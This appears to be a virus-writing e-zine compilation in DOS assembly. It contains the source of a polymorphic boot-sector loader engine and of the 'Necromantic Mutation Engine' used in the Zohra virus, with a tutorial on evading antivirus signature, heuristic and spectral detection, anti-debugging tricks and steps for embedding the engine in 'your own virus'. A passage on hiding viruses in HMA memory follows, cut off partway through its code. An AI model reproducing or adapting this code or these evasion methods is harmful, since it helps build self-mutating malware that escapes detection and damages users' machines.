segment_value equ 2000h
makeloader proc
pusha
push ds
push es
push cs
push cs
pop es
pop ds
call random_init
mov word ptr ds:[_CX], cx
mov word ptr ds:[_DX], dx
call random
and ax, 000111111b
or al, 10000b
mov cx, ax
mov word ptr [START], di
call random
and ax, 011111b
add al, 000111b
push cx
mov cx, ax
MyBrainIsUpsideDown:
call make_mov
loop MyBrainIsUpsideDown
pop cx
LoveKills:
push cx
NowIWannaSniffSomeGlue:
call random
and ax, 0111b
shl ax, 1
mov si, offset GARBAGE_TABLE
add si, ax
cmp si, word ptr ds:[LAST_CHOOSEN]
je NowIWannaSniffSomeGlue
mov word ptr ds:[LAST_CHOOSEN], si
call word ptr ds:[si]
pop cx
loop LoveKills
mov word ptr [STOP], di
push 0
pop ds
push dword ptr ds:[1*4]
mov word ptr ds:[1*4], offset INT1
mov word ptr ds:[1*4+2], cs
mov word ptr cs:[_SP], sp
mov ax, ss
mov word ptr cs:[_SS], ax
mov cx, 8
IDontWantBeBuriedInAPetCemetary:
push 0
loop IDontWantBeBuriedInAPetCemetary
popa
push 0100h
push cs
push word ptr cs:[START]
iret
endp makeloader
db '[VRBL]'
make_jmp proc
call random
mov al, 0ebh
and ah, 000001111b
or ah, 00000011b
stosw
movzx cx, ah
RamonesMania:
call random
stosb
loop RamonesMania
ret
endp make_jmp
make_inst_inst proc
call random
and ax, 01100000111b
mov bx, offset TABLE_INST_INST
xlat
or al, ah
stosb
SpiderMan:
call random
and ax, 00111111b
mov cx, ax
mov dx, ax
shr dx, 3
and cx, 0111b
cmp cx, dx
je SpiderMan
cmp cx, 0100b
je SpiderMan
cmp dx, 0100b
je SpiderMan
or ax, 11000000b
stosb
ret
endp make_inst_inst
make_inst_sec proc
mov al, 011110111b
stosb
TheKKKTookMyBabyAway:
call random
and ax, 0000011100111000b
cmp ah, 00000100b
je TheKKKTookMyBabyAway
cmp al, 00010000b
jb TheKKKTookMyBabyAway
cmp al, 00101000b
ja TheKKKTookMyBabyAway
or al, ah
or al, 011000000b
stosb
ret
endp make_inst_sec
make_one_byte proc
mov si, offset table_one
call random
and ax, 00001111b
movsb
ret
endp make_one_byte
make_inst_imm proc
mov bx, offset i_table
mov al, 10000001b
stosb
DoYouWannaDance:
call random
and ax, 0000011100000111b
cmp ah, 0100b
je DoYouWannaDance
xlat
or al, ah
stosb
call random
stosw
ret
endp make_inst_imm
inc_dec_ proc
IWannaBeSedated:
call random
and al, 01111b
mov cl, al
and cl, 0111b
cmp cl, 0100b
je IWannaBeSedated
or al, 01000000b
stosb
ret
endp inc_dec_
make_mov proc
call random
and al, 0111b
cmp al, 0100b
je make_mov
or al, 010111000b
stosb
call random
stosw
ret
endp make_mov
int1 proc
push bp
mov bp, sp
cmp word ptr cs:[bp+2], 1234h
stop equ word ptr $-2
jae fixreg
pop bp
iret
endp int1
fixreg proc
mov word ptr cs:[SAVE_AX], ax
mov word ptr cs:[SAVE_BX], bx
mov word ptr cs:[SAVE_CX], cx
mov word ptr cs:[SAVE_DX], dx
cli
mov sp, 1234h
_sp equ word ptr $-2
mov ax, 1234h
_ss equ word ptr $-2
mov ss, ax
sti
push 0
pop ds
pop dword ptr ds:[1*4]
push cs
push cs
pop ds
pop es
mov di, word ptr [STOP]
BornToDieInBerlin:
mov bp, 0
ImAStumpedStormtropperYesIAm:
mov si, offset TABLE_FIX
call random
and ax, 0111b
cmp al, 6
jae ImAStumpedStormtropperYesIAm
shl ax, 1
add si, ax
call word ptr [si]
call random
jp IBelieveInMiracles
call make_jmp
IBelieveInMiracles:
cmp bp, 0111111b
jne ImAStumpedStormtropperYesIAm
jmp HeyOhLetsGo
make_ax:
bts bp, 0
jc $ret
mov dl, 000b
mov bx, word ptr [SAVE_AX]
mov cx, word ptr [_AX]
$put:
mov al, 010000001b
stosb
call random
and ax, 011b
cmp al, 1
je @sub
cmp al, 2
je @add
@xor:
xor bx, cx
mov al, 011110000b
jmp store
@sub:
sub bx, cx
mov al, 011101000b
jmp store
@add:
sub bx, cx
neg bx
mov al, 011000000b
store:
and al, not(0111b)
or al, dl
stosb
xchg ax, bx
stosw
$ret:
ret
make_bx:
bts bp, 1
jc $ret
mov dl, 011b
mov bx, word ptr [SAVE_BX]
mov cx, word ptr [_BX]
jmp $put
make_cx:
bts bp, 2
jc $ret
mov dl, 001b
mov bx, word ptr [SAVE_CX]
mov cx, word ptr [_CX]
jmp $put
make_dx:
bts bp, 3
jc $ret
mov dl, 010b
mov bx, word ptr [SAVE_DX]
mov cx, word ptr [_DX]
jmp $put
make_es:
bts bp, 4
jc $ret
bt bp, 5
jc SadMOV
PushPop:
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 0
org $-1
pop es
stosb
jmp $ret
SadMOV:
mov al, 010111101b
stosb
mov ax, SEGMENT_VALUE
stosw
mov al, 010001110b
stosb
mov al, 011000101b
stosb
; mov bp, SEGMENT_VALUE
; mov es, bp
jmp $ret
make_override:
bts bp, 5
jc $ret
mov al, 68h
stosb
mov ax, SEGMENT_VALUE
stosw
mov bl, byte ptr [seg_need]
TryES:
cmp bl, 26h
jne TryCS
; mov al, 0
; org $-1
; pop es
; stosb
CleanDI:
sub di, 3
jmp $ret
TryCS:
cmp bl, 2eh
je CleanDI
; mov al, 0
; org $-1
; pop cs
; stosb
TrySS:
cmp bl, 36h
jne TryDS
mov al, 0
org $-1
pop ss
jmp BackInBlack
TryDS:
cmp bl, 90h
jne TryFS
mov al, 0
org $-1
pop ds
BackInBlack:
stosb
jmp $ret
TryFS:
cmp bl, 64h
jne TryGS
mov ax, 1234h
org $-2
pop fs
jmp BackToTheHell
TryGS:
mov ax, 1234h
org $-2
pop gs
BackToTheHell:
stosw
jmp $ret
HeyOhLetsGo:
mov ax, 013cdh
stosw
call random
bt ax, 1
jc make_jump
make_retf:
mov ax, 00
org $-2
push es
push bx
stosw
mov al, 0
org $-1
retf
stosb
jmp done
make_jump:
mov al, 0eah
stosb
mov ax, word ptr cs:[_BX]
stosw
mov ax, SEGMENT_VALUE
stosw
jmp done
done:
mov word ptr [STOP], di
pop es
pop ds
popa
ret
endp fixreg
_AX dw 200h+size_in_sectors
_BX dw 0
_CX dw ?
_DX dw ?
save_AX dw ?
save_BX dw ?
save_CX dw ?
save_DX dw ?
; - -[DEMO.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This demo program generates 99999999 little demos of my engine. This code
; must reside in the MBR or the boot sector of a floppy or harddrive. They
; will load the rest of the virus from other track. They're very variable.
; This code is designed to run in a boot, so, if you execute the demos they
; will surely crash. Check the code with a debugger.
.model tiny
.code
.startup
.386
push cs
pop ds
push cs
pop es
do_next:
call random_init
mov di, 08000h
mov cx, 1
mov dx, 0180h
call makeloader
mov ah, 3ch
mov dx, offset fn2
xor cx, cx
int 21h
jc exit_dem
xchg ax, bx
mov ah, 40h
mov cx, word ptr [STOP]
mov dx, word ptr [START]
sub cx, dx
int 21h
mov ah, 3eh
int 21h
cmp byte ptr ds:[fn2+7], '9'
je zero_1
inc byte ptr ds:[fn2+7]
jmp next_file
zero_1:
mov byte ptr ds:[fn2+7], '0'
cmp byte ptr ds:[fn2+6], '9'
je zero_2
inc byte ptr ds:[fn2+6]
jmp next_file
zero_2:
mov byte ptr ds:[fn2+6], '0'
cmp byte ptr ds:[fn2+5], '9'
je zero_3
inc byte ptr ds:[fn2+5]
jmp next_file
zero_3:
mov byte ptr ds:[fn2+5], '0'
cmp byte ptr ds:[fn2+4], '9'
je zero_4
inc byte ptr ds:[fn2+4]
jmp next_file
zero_4:
mov byte ptr ds:[fn2+4], '0'
cmp byte ptr ds:[fn2+3], '9'
je zero_5
inc byte ptr ds:[fn2+3]
jmp next_file
zero_5:
mov byte ptr ds:[fn2+3], '0'
cmp byte ptr ds:[fn2+2], '9'
je zero_6
inc byte ptr ds:[fn2+2]
jmp next_file
zero_6:
mov byte ptr ds:[fn2+2], '0'
cmp byte ptr ds:[fn2+1], '9'
je zero_7
inc byte ptr ds:[fn2+1]
jmp next_file
zero_7:
mov byte ptr ds:[fn2+1], '0'
cmp byte ptr ds:[fn2], '9'
je exit_dem
inc byte ptr ds:[fn2]
jmp next_file
next_file:
jmp do_next
exit_dem:
int 20h
fn2 db '00000000.COM',0
seg_need db 65h
include random.asm
org 01000h
include vrbl.asm
end
; - -[RANDOM.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
; This is a slow random number generator. This type of random number gene-
; rators are ideal for polymorphic viruses, because AVs will need to work
; hard in order to create a reliable algorithm to detect the virus. Despite
; of this, I changed it not to be slow, so I can demostrate the variability
; of the engine. You need to call first RANDOM_INIT, then RANDOM to get the
; random values back in AX.
random_init proc
pusha
push es
push ds
push cs cs
pop ds es
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 201h
mov bx, offset random_table
and cx, 0111111b
mov dx, 0080h
; int 13h
cmp dword ptr ds:[bx], ' );'
; je TableDone
CreateTable:
mov di, bx
mov cx, 512
NextRandom:
in al, 40h
xor byte ptr [X_V], al
in al, 40h
add byte ptr [X_V], al
jmp $+2
mov al, 00
X_V equ $-1
stosb
loop NextRandom
WriteTable:
mov ah, 8
mov dl, 80h
; int 13h
mov ax, 301h
mov dword ptr ds:[bx], ' );'
and cx, 0111111b
mov dx, 80h
; int 13h
TableDone:
mov word ptr ds:[RANDOM_NUMBER], 5
pop ds
pop es
popa
ret
endp random_init
random proc
push bx
push ds
push cs
pop ds
mov ax, word ptr [RANDOM_NUMBER]
mov bx, ax
inc ax
cmp ax, 512
jbe ImTheCrusherKingOfTheRing
mov ax, 4
ImTheCrusherKingOfTheRing:
mov word ptr [RANDOM_NUMBER], ax
mov ax, word ptr [RANDOM_TABLE+bx]
sahf
pop ds
pop bx
ret
endp random
random_number dw 0
random_table db 512 dup(0)
;
; . .: .:.. :.. .. .:.::. :. ..:
; <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===<
; .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:.
; . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:..
; ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::.
; >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->>
; .: .:.. ..:. .: ..:.::. ::.. :.:.
;
; Û²±° The Necromantic Mutation Engine ( NME ) °±²Û
;
; ( used in Zohra virus )
;
; by Wintermute/29A
;
;
; When I started writing this article, I didn't know how to do it; the en-
; gine is full commented in my virus, Zohra, and besides has some things that
; make it nearly impossible to get it out from the virus.
;
; So, I've made a couple things in this article to make it interesting :)
; First, I'm explaining how it works, and how I made it; just thinking about
; it and wondering how would I do this and that ( hope that will help you
; writing your own poly engine if you haven't done one yet... ). After talk-
; ing about that, I'm giving some guidance about how to use the engine, be-
; cause it has some particularities :)
;
;
; 1.- How is this poly engine created ?
;
; What should a poly engine have ? A good poly engine shouldn't just make
; some crap instructions as "cli-sti-lahf-nop" and place them among real ins-
; tructions; a middle-interested user would easily detect something's going
; wrong in that file when he finds 15 useless one byte instructions, and then
; would detect it. So, a list with some instructions/opcodes was made, in or-
; der to use some more kinds of instructions.
;
; Zohra has five groups; one byte instructions, two byte ones, three, four
; bytes, and long routines. Long routines are anti-debugging or anti-spectral
; ones, for example.
;
; So, the idea was to put that instructions among the decryptor ones. That
; decryptor instructions are different in length; three, four bytes... so it
; would last some bytes checking each one and copying it. So, I divided the
; decryptor instructions block in six blocks respectively, which were formed
; by five bytes each one, this way:
;
;
; > mov bp,0200h
; > db 90h,90h ; variable ( junk gen )
;
; > mov si,cs:word ptr [encryptvalue+bp]
;
; > mov cx,virus_size/2
; > db 90h,90h ; variable
;
; > mov di,bp
; > db 90h,90h,90h ; variable
;
; > xor word ptr cs:[di],si
; > db 90h,90h ; variable ( again ! )
;
; > inc di
; > inc di
; > loop loop_dec
; > db 90h ; variable
;
;
; As you see, there are "blanks" in the blocks; that means more fixed by-
; tes, but of course the instructions aren't placed this way on the engine:
; first thing the poly engine does is copying these instructions to a buffer
; in memory and filling the blanks with random bytes from the instruction ge-
; nerators; for example, if there were a three byte blank, the engine would
; fill it with a two byte instruction and a one byte instruction, or with a
; with a three byte instruction, etc.
;
; As you may see, done this there are still many fixed bytes, the real de-
; cryptor instructions. Any AVer could put in his hex searcher something like
; "F7????4D????4E" and easily detect it.
;
; So, next thing in the poly engine are some routines which change the de-
; cryptor instructions: randomly, SI is used instead of DI, the way to load
; CX changes, the "inc di/loop" changes on a "dec cx/jnz xxx", etc. Also, the
; three SI/DI/CX setting blocks are placed randomly on the decryptor ( it
; doesn't matter their order ).
;
; After making all the changes and setting the decryptor instructions block
; the poly starts working in a zone between the first and the second copy of
; the virus; when loading in memory, it makes this: copies the virus, then
; places a 512 byte buffer, and copies the virus again. The second copy never
; gets executed, it's encrypted by the first one, and the decryptor is made
; between them, so when copying to a file it will grow "512 bytes+virus"...
;
; So, ES:DI points to the 512 bytes buffer to write on it, and a random ge-
; nerator gets running, placing 1 to 4 byte instructions, long routines, or
; the decryptor instructions. Also, the engine checks some things; for exam-
; ple, divides by 6 the total size of the decryptor ( 512 bytes ) and checks
; this with the remaining decryptor instruction blocks, so all the instruc-
; tions are in the decryptor ( and not very near to each other ). Also checks
; the distance between the loop/jz and the xor at the end so it doesn't get
; out of range, and also checks the last bytes to finish the decryptor; for
; example, if there are only three bytes remaining of decryptor, the engine
; will put a three byte instruction, etc.
;
; Finally,... why using long routines ( as an antidebugging one ) ? To a-
; void one couple things. The antidebugging routine is especially made for
; AVP, which tries to decrypt the virus ( and makes it ! ;) because of its
; heuristic method, which fails when there are antidebugging routines and the
; virus isn't decrypted yet ( it decrypts viruses and searches for things li-
; ke mov ax,3d02h/int21h ) };)
;
; About the spectral routines, they're made for one of the analysis which
; antivirus software use to detect poly viruses; they watch the instructions
; in the decryptor, and if all of them seem to be generated by that engine,
; they'll detect the virus. Let's imagine, for example, the "Shitty Mutator"
; uses three one byte instructions to make junk. The antivirus software would
; have these instructions and watch the -e.g.- 256 byte decryptor; if all the
; instructions placed in there are the decryptor itself ones or the three
; different one byte ones, the antivirus tells us a SM based virus is there.
; The method used to avoid it is fairly simple: a check, after a conditional
; jump that is always executed, and then two junk random bytes :)
;
;
; 2.- How to use the engine in your own virus ( hey, you, at least give
; me some credits in it ! :)
;
; About the values you have to set; first, there's a defined value at the
; end of the engine called "encryptvalue" which is the number which will be
; used to encrypt the virus with xor encryption. First, you'll have to en-
; crypt the second copy of your virus, and put your word length encryption
; key into that value called "encryptvalue" ( which is used for the xor ).
;
; "Offset_second" is the virus_length plus 200h, the decryptor length; this
; way, the values changed are changed in the decryptor and not in the non-co-
; pied virus ( wonder why ? ) :-)
;
; "Virus_size" is your virus lenght in bytes.
;
; Of course, you can change the decryptor length, but be careful with that.
; That value is set on "restantes_poly", and is 200h normally; if you change
; this, divisions made by the engine to check if it has to put a decryptor
; instruction on the generator code will fail. So, if you're going to change
; the length, check also the divisions at the zone called "centro_poly" ( po-
; ly_center in spanish ).
;
; Another things to set ?... erhm... not. ES:DI or DS:SI set stuff for you;
; it's generated at the end of the first virus copy, just at "virus_size+0h",
; uhm... ah, and it supposes you to have another copy of the virus, of cour-
; se. Come on, it's so easy to get it working when somebody else has written
; it four you first ! ;PPP
;
; Ah, and finally... you'll have to copy the decryptor instructions block
; at the first bytes of your TSR, at the first copy; the instructions in tho-
; se first bytes are useful, cause they're not copied even not executed, so
; they can be overwritten by the decryptor ones.
;
;
; ***************************************************************************
; THE NECROMANTIC MUTATION ENGINE ( NME )
; ***************************************************************************
; The ants are in the sugar, the muscles atrophied
; This first part sets the decryptor variables ( loop pointer, remaining
;instructions and current instruction )
;
; The loop pointer tells where to loop to make the xor "virus_size"
;times, remaining instructions is 200h-done_instructions, and current
;instruction is about which of the six decryptor instructions blocks has
;to be written next.
go_here:
; This first part of the poly engine fills the blanks of the six blocks
;( 5 bytes each ) in which the decryptor instructions are divided on with
;random instructions. As you see, three blanks can be filled with a three
;bytes instructions, with a two bytes one and a one byte one or with three
;one byte instructions
push cs cs
pop ds es
mov di,3h
mov cx,3
two_times: call aleatorio
and ah,1
jz two_of_one
call inst_2
jmp next_inst_gen
two_of_one: call inst_1
inc di
call inst_1
next_inst_gen: cmp di,0eh
jnz @di0dh
mov di,017h
jmp @loopt
@di0dh: mov di,0dh
@loopt: loop two_times
mov di,011h
mov cx,2
two_times_otavez:
call aleatorio
and ah,1
jz unod1y1d2
and al,1
jz tresd1
call inst_3
jmp next_one_otave
tresd1:
call inst_1
inc di
call inst_1
inc di
call inst_1
jmp next_one_otave
unod1y1d2: and al,1
jz unod2y1d1
call inst_1
inc di
call inst_2
jmp next_one_otave
unod2y1d1:
call inst_2
inc di
call inst_1
next_one_otave:
mov di,01dh ; The last
call inst_1
lea di,instrucciones
xor si,si
mov cx,instrsize
rep movsb
; This part exchanges 50% times SI and DI registers, which are used in
;the decryptor instructions
call aleatorio
and ah,1
jz dontchangeem
mov byte ptr [instrucciones+7h],0beh
mov byte ptr [instrucciones+10h],0f5h
mov word ptr [instrucciones+15h],03c31h
mov word ptr [instrucciones+19h],04646h
dontchangeem:
call aleatorio
and ah,1
jz cx_acabado
cbw
and ah,1
jz siguiente_abajo
mov byte ptr [instrucciones+0ah],0bbh
mov word ptr [instrucciones+0dh],0d989h
jmp cx_acabado
siguiente_abajo:
and al,1
jz cx_con_dx
mov byte ptr [instrucciones+0ah],0b8h
mov word ptr [instrucciones+0dh],0c189h
jmp cx_acabado
cx_con_dx:
mov byte ptr [instrucciones+0ah],0bah
mov word ptr [instrucciones+0dh],0d189h
cx_acabado:
push dx
mov byte ptr [variable_inst],00000111b
mov cx,015d ; Copy the 15 bytes of the
lea si,instrucciones+5 ;instructions to the uuencode
lea di,buffer ;buffer ( unused )
push di
rep movsb
pop si
ver_si_esta_hecho:
mov al,byte ptr [variable_inst]
mov dl,al ; Then, restore them in a
or al,al ;random order
jz acabado_pop_inst
call aleatorio
and ah,1
jz popfirst
and al,1
jz popsecond
and dl,100b ; First instruction ( five
jz ver_si_esta_hecho ;bytes )
and byte ptr [variable_inst],11111011b
lea di,instrucciones+0fh
jmp popfivebytes
popfirst:
and dl,1b ; Second one
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111110b
lea di,instrucciones+0ah
jmp popfivebytes
popsecond:
and dl,10b ; Third
jz ver_si_esta_hecho
and byte ptr[variable_inst],011111101b
lea di,instrucciones+5h
popfivebytes:
mov cx,5d ; Replace
rep movsb
jmp ver_si_esta_hecho
acabado_pop_inst:
pop dx
; Here begins the main zone of the code generator; where it's decided
;what generator to use and random instructions are copied at the
;decryptor.
mov di,virus_size+1
centro_poly:
mov ax,word ptr [restantes_poly] ; Remaining
mov cx,ax ;instructions number
and cx,cx
jnz sigamos_decriptor
jmp acabamos_decryptor ; Checks if finished
sigamos_decriptor:
cmp cx,@getmcb-ant_debug
jae @cont_decrr
cmp byte ptr [numero_instruccion],1
jz @@call_decryptgen
@cont_decrr: ; If we have 1, 2 or 3 bytes remaining
dec cx
jz @@call_inst_1
dec cx
jz @@call_inst_2
dec cx
jz @@call_inst_3
@@trestipos: cbw
and ah,1
jz @@inst_2odec
and al,11b
jz @@call_sub
@@call_inst_3: call inst_3
add di,3
sub word ptr[restantes_poly],3
jmp centro_poly
@@inst_2odec: and al,111b ; Low probability
jnz @@call_inst_2
@@call_decryptgen:
call gen_instruction
jmp centro_poly
@@call_inst_2: call inst_2
inc di
sub word ptr[restantes_poly],2
@fix1: jmp centro_poly
@@call_sub: cmp word ptr[restantes_poly],@getmcb-ant_debug
jb @fix1
call inst_5
add di,si
sub word ptr[restantes_poly],si ; Long non fixed size
jmp centro_poly ;routine
acabamos_decryptor:
ret
instrucciones:
mov bp,0200h
db 90h,90h ; variable ( junk gen )
mov cx,virus_size/2
db 90h,90h
mov di,bp
db 90h,90h,90h
loop_dec:
xor word ptr cs:[di],si
db 90h,90h
inc di
inc di
loop loop_dec
db 90h
instr_end label byte
;*******************************************
; Decryptor values and data
;--------------------
aleatorio:
mov ax,word ptr[num_aleat]
call aleat2
aleat2: ror ax,5 ; The seed number is stablished in each
add ax,1531h ;infection by the date, and modified
push cx dx ax ;by the minutes ( but in AL, the less
mov ah,2ch ;used, to contribute to the slow poly )
int 21h ;and hour.
pop ax
add ah,ch
pop dx cx
rol ax,1
neg ax
sub ax,2311h
ror ax,3
not ax
mov word ptr[num_aleat],ax
ret
gen_instruction:
mov al,byte ptr [numero_instruccion]
and al,al
jz @vasmosnos
dec al
jz @preparar_loop
dec al
jz @guardar_paraloop
@gen_ya:
dec byte ptr [numero_instruccion]
lea si,instrucciones
add si,word ptr [bytes_referencia]
add word ptr [bytes_referencia],5h
@vasmosnos: ret
@guardar_paraloop:
mov word ptr [loop_site],di
jmp @gen_ya
@preparar_loop:
mov ax,0fch
mov si,di
mov cx,word ptr [loop_site]
sub si,cx
sub ax,si
mov cx,word ptr[num_aleat]
and cl,1
jz @make_a_jnz
mov byte ptr [instrucciones+01ch],al
jmp @gen_ya
@make_a_jnz:
mov word ptr [instrucciones+01bh],7549h
dec ax
mov byte ptr [instrucciones+01dh],al
jmp @gen_ya
inst_1:
call aleatorio
and al,3h
jnz @cont_a1
mov byte ptr es:[di],90h
ret
@cont_a1: and ah,1
jz @cont_a2
call aleatorio
and ah,1h
jz @cont_a2_2
and al,1h
jz @cont_a2_1_1
call aleatorio
and al,1h
jz @cont_a2_2_1
mov byte ptr es:[di],42h ; inc dx
ret
@cont_a2_2_1: mov byte ptr es:[di],43h ; inc bx
ret
@cont_a2_1_1: mov byte ptr es:[di],40h ; inc ax
ret
@cont_a2_2: call aleatorio
and al,1h
jnz @cont_a2_2_2
mov byte ptr es:[di],48h ; dec ax
ret
@cont_a2_2_2: and ah,1h
jz @cont_a2_2_2_2
mov byte ptr es:[di],4bh ; dec bx
ret
@cont_a2_2_2_2: and al,1h
mov byte ptr es:[di],4ah ; dec dx
ret
@cont_a2: call aleatorio
and al,3h
jz @cont_a2_11
and ah,3h
jz @cont_a2_12
call aleatorio
and al,3h
jz @cont_a2_2_11
and ah,3h
jz @cont_a2_2_12
call aleatorio
and al,1
jz @cont_a2_2_13
mov byte ptr es:[di],0cch ; int 3h
ret
@cont_a2_2_11: mov byte ptr es:[di],9fh ; lahf
ret
@cont_a2_2_12: mov byte ptr es:[di],99h ; cwd
ret
@cont_a2_2_13: mov byte ptr es:[di],98h ; cbw
ret
@cont_a2_11: mov byte ptr es:[di],0F9h ; stc
ret
@cont_a2_12: mov byte ptr es:[di],0F8h ; clc
ret
inst_2:
call aleatorio
and ah,1h
jz @cont_sub
cbw
and ah,1h
jz sigunvm
jmp @cont_xor
sigunvm:
jmp @cont_mul
@cont_sub:
mov byte ptr es:[di],2bh
inc di
cbw
and al,1
jz @cont_bsub_ax
and ah,1
jz @cont_bsub_dx
call aleatorio
and ah,1
jz @cont_bsub_bx_dxdisi
and al,1
jz @cont_bsub_bx_cx
mov byte ptr es:[di],0d8h ; sub bx,ax
ret
@cont_bsub_bx_cx:
mov byte ptr es:[di],0d9h ; sub bx,cx
ret
@cont_bsub_bx_dxdisi:
cbw
and ah,1
jz @cont_bsub_bx_dx
and al,1
jz @cont_bsub_bx_di
mov byte ptr es:[di],0deh ; sub bx,si
ret
@cont_bsub_bx_di:
mov byte ptr es:[di],0dfh ; sub bx,di
ret
@cont_bsub_bx_dx:
mov byte ptr es:[di],0dah ; sub bx,dx
ret
@cont_bsub_ax:
call aleatorio
and ah,1
jz @cont_bsub_ax_dxdisi
and al,1
jz @cont_bsub_ax_cx
mov byte ptr es:[di],0c3h ; sub ax,bx
ret
@cont_bsub_ax_cx:
mov byte ptr es:[di],0c1h ; sub ax,cx
ret
@cont_bsub_ax_dxdisi:
cbw
and ah,1
jz @cont_bsub_ax_dx
and al,1
jz @cont_bsub_ax_di
mov byte ptr es:[di],0c6h ; sub ax,si
ret
@cont_bsub_ax_di:
mov byte ptr es:[di],0c7h ; sub ax,di
ret
@cont_bsub_ax_dx:
mov byte ptr es:[di],0c2h ; sub ax,dx
ret
@cont_bsub_dx:
call aleatorio
and ah,1
jz @cont_bsub_dx_sidicx
and al,1
jz @cont_bsub_dx_bx
mov byte ptr es:[di],0d0h ; sub dx,ax
ret
@cont_bsub_dx_bx:
mov byte ptr es:[di],0d3h ; sub dx,bx
ret
@cont_bsub_dx_sidicx:
cbw
and ah,1
jz @cont_bsub_dx_cx
and al,1
jz @cont_bsub_dx_di
mov byte ptr es:[di],0d6h ; sub dx,si
ret
@cont_bsub_dx_di:
mov byte ptr es:[di],0d7h ; sub dx,di
ret
@cont_bsub_dx_cx:
mov byte ptr es:[di],0d1h ; sub dx,cx
ret
@cont_xor:
mov byte ptr es:[di],033h
inc di
call aleatorio
and ah,1
jz @cont_xor_4last
cbw
and ah,1
jz @cont_xor_34
and al,1
jz @cont_xor_2
mov byte ptr es:[di],0c0h ; xor ax,ax
ret
@cont_xor_2:
mov byte ptr es:[di],0c3h ; xor ax,bx
ret
@cont_xor_34:
and al,1
jz @cont_xor_4
mov byte ptr es:[di],0c2h ; xor ax,dx
ret
@cont_xor_4:
mov byte ptr es:[di],0dbh ; xor bx,bx
ret
@cont_xor_4last:
cbw
and ah,1
jz @cont_xor_78
and al,1
jz @cont_xor_6
mov byte ptr es:[di],0d8h ; xor bx,ax
ret
@cont_xor_6:
mov byte ptr es:[di],0dah ; xor bx,dx
ret
@cont_xor_78:
and al,1
jz @cont_xor_8
mov byte ptr es:[di],0d2h ; xor dx,dx
ret
@cont_xor_8:
mov byte ptr es:[di],0d0h ; xor dx,ax
ret
@cont_mul:
mov byte ptr es:[di],0f7h
inc di
call aleatorio
and ah,1
jz @cont_divmul_34
and al,1
jz @cont_divmul_2
mov byte ptr es:[di],0e3h ; mul bx
ret
@cont_divmul_2:
mov byte ptr es:[di],0e1h ; mul cx
ret
@cont_divmul_34:
and al,1
jz @cont_divmul_4
mov byte ptr es:[di],0e6h ; mul si
ret
@cont_divmul_4:
mov byte ptr es:[di],0e7h ; mul di
ret
inst_3:
call aleatorio
mov si,ax
inc si ; We don't want a 0ffffh
jz inst_3
dec si
and ah,1
jz @add_or_sub_ax
and al,1
jz @mov_dx_inm
mov byte ptr es:[di],0bbh ; mov bx,reg
mov word ptr es:[di+1],si
ret
@mov_dx_inm: mov byte ptr es:[di],0bah ; mov dx,reg
mov word ptr es:[di+1],si
ret
@add_or_sub_ax: and al,1
jz @mov_mem_ax
mov byte ptr es:[di],05h ; add ax,reg
mov word ptr es:[di+1],si
ret
@mov_mem_ax: mov byte ptr es:[di],0a1h ; mov ax,mem
mov word ptr es:[di+1],si
ret
@c_seg_prim:
mov word ptr es:[di],0f7fah ; Antidebugging routine
mov word ptr es:[di+2],0f7dch ;( cli, neg sp, neg sp,
mov word ptr es:[di+4],0fbdch ; sti )
mov si,06h
ret
@c_seg_seg:
lea si,ant_debug ; Antidebugging, the routine
mov cx,@getmcb-ant_debug ;placed near the beggining
push cx ;of Zohra
rep movsb
pop si
sub di,si
ret
random_number:
ret
encryptvalue: dw 0ffh
wintermute: db 'The Necromantic Mutation Engine by Wintermute/29A',0
HMA Residency
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
"Q" the Misanthrope
This virus topic has not been discussed: HMA (not UMB) residency.
What is HMA?
ÄÄÄÄÄÄÄÄÄÄÄÄ
It stands for High Memory Address. HMA memory is a 65520 byte area from
FFFF:0010h to FFFF:FFFFh. "Q" the Misanthrope has been using the HMA to
store about 15 of his viruses. This is his tutorial on HMA useage.
Why HMA?
ÄÄÄÄÄÄÄÄ
It allows you to put your virus in a location not seen with any of the con-
ventional memory tools. MEM, CHKDSK and others don't indicate that more me-
mory is being used in the HMA when a virus goes resident there. Many anti
virus programs did not scan the HMA since no one was crazy enough to put
their virus up there. They now have changed because of the many viruses "Q"
created that use the HMA.
HMA History
ÄÄÄÄÄÄÄÄÄÄÄ
On an 80286+ there is an address line called a20 that was to be used to map
the second megabyte of memory. There are additional address lines (a21,
a22, etc) but with this a20 line there became another 64k of memory availa-
ble to real mode programs. Where did this new memory come from? On an 8086,
the addressing of the processor is in SEGMENT:OFFSET format. Each OFFSET
spans a 64k SEGMENT. The actual physical address is computed as SEGMENT*10h
+OFFSET. The last byte of memory on an 8086 was F000:FFFFh, or F0000h+FFFFh
=FFFFFh. Notice that FFFF:000F is the same physical address (FFFF0h+000Fh=
FFFFFh). What happens if you were to address FFFF:0010? (FFFF0h+0010h=
100000h). On an 8086 this would map back to 0000:0000h but on an 80286 you
have just touched the first byte of the second megabyte off memory. The on-
ly problem is that the 80286 works just the same as the 8086 and again you
are mapped back to 0000:0000h. Some circuitry needed to be added, a20 ga-
ting was created. If doing the physical computation caused a carry into the
next megabyte then turn the a20 line on. This feature had to be able to
switched on and off at will. The 80286 also introduced the 8042 keyboard
controller. There was an extra bit on an output port that could control
this gating. The creation of the HIMEM.SYS would in part make controlling
this a bit easier.
Gating a20
ÄÄÄÄÄÄÄÄÄÄ
To enable the a20 gating:
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
mov ax,4300h ;himem.sys check
int 2fh
cmp al,80h
jne error ;no himem.sys loaded
mov ax,4310h
int 2fh ;get far call address es:bx
mov ah,03h ;Global enable A20
